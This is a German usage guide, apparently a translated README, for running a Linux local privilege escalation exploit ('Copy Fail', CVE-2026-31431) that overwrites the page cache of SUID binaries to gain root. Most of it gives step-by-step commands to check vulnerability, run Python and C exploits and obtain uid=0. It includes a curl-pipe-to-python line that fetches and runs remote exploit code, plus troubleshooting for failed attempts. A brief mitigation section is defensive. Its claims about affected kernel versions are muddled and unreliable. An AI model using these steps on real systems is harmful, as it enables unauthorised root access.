Copy Fail (CVE-2026-31431) – Anleitung zur Exploit-Nutzung

Original-Readme übernommen von @painoob

Alle Kernel-Versionen seit 2017 / 2016 sind verwundbar! Kernel 7 ist vollständig immun, andere (zwischen 5-7 können noch verwundbar sein)

⚠️ Haftungsausschluss

Dieser Inhalt dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Führen Sie dies NICHT auf Systemen ohne ausdrückliche Genehmigung aus.

📌 Überblick

Copy Fail (CVE-2026-31431) ist eine Linux Local Privilege Escalation (LPE)-Schwachstelle, die die Kernel-Crypto-API über AF_ALG betrifft.

Sie ermöglicht einem unprivilegierten Benutzer, Page-Cache-Daten einer SUID-Binärdatei (z. B. /usr/bin/su) zu überschreiben und Root-Zugriff zu erlangen.

🧠 Voraussetzungen

Systemanforderungen

• Linux-Kernel (verwundbar – abhängig vom Patch-Status)
• AF_ALG aktiviert
• algif_aead-Modul geladen

Anforderungen an den Python-Exploit

• Python 3.10+
• Unterstützung für:
  • os.splice
  • socket(AF_ALG)

🔍 Verwundbarkeit prüfen

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Erwartete Indikatoren:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead geladen

🐍 Python-Exploit ausführen

1. Direkt ausführen

python3 copy_fail_exp.py

2. Oder über curl (falls remote gehostet)

curl https://copy.fail/exp | python3

3. Root-Shell auslösen

su
id

Erwartetes Ergebnis:

uid=0(root)

⚠️ Häufige Probleme (Python)

❌ Fehler: os.splice not found

Ursache:

• Python-Version < 3.10
• Eingeschränkter Build

Lösung:

• Neuere Python-Binärdatei verwenden
• Statischen Python-Interpreter hochladen

⚙️ C-Version kompilieren

1. Kompilieren

gcc copy_fail_exp.c -o copy_fail

2. Ausführbar machen

chmod +x copy_fail

3. Exploit ausführen

./copy_fail
su

⚠️ Häufige Probleme (C)

❌ Exploit läuft, aber kein Root

Mögliche Ursachen:

• Kernel gepatcht
• Falsche Offsets
• Umgebungsabweichung

❌ Kompilierungsfehler

Erforderliche Tools installieren:

apt update && apt install build-essential

🧪 Fehlerbehebung

Prüfen, ob das System gepatcht ist

dmesg | grep -i alg

Modul überprüfen

lsmod | grep algif_aead

🛡️ Gegenmaßnahmen

Verwundbares Modul deaktivieren

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Kernel-Patch anwenden

System aktualisieren:

apt update && apt upgrade

📌 Hinweise

• Exploit verändert nur den Page-Cache (nicht persistent)
• Erfordert lokalen Zugriff
• Standardmäßig nicht remote ausnutzbar

🧠 Abschließende Erkenntnis

Wenn der Exploit fehlschlägt, bedenken Sie:

• Kernel bereits gepatcht
• Umgebungseinschränkungen
• Alternative Privilege-Escalation-Vektoren (SUID, Capabilities, sudo-Fehlkonfiguration)

📚 Referenzen

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Hinweise des Autors

Verwenden Sie diesen Exploit nur verantwortungsvoll in Laboren, CTFs und autorisierten Pentests.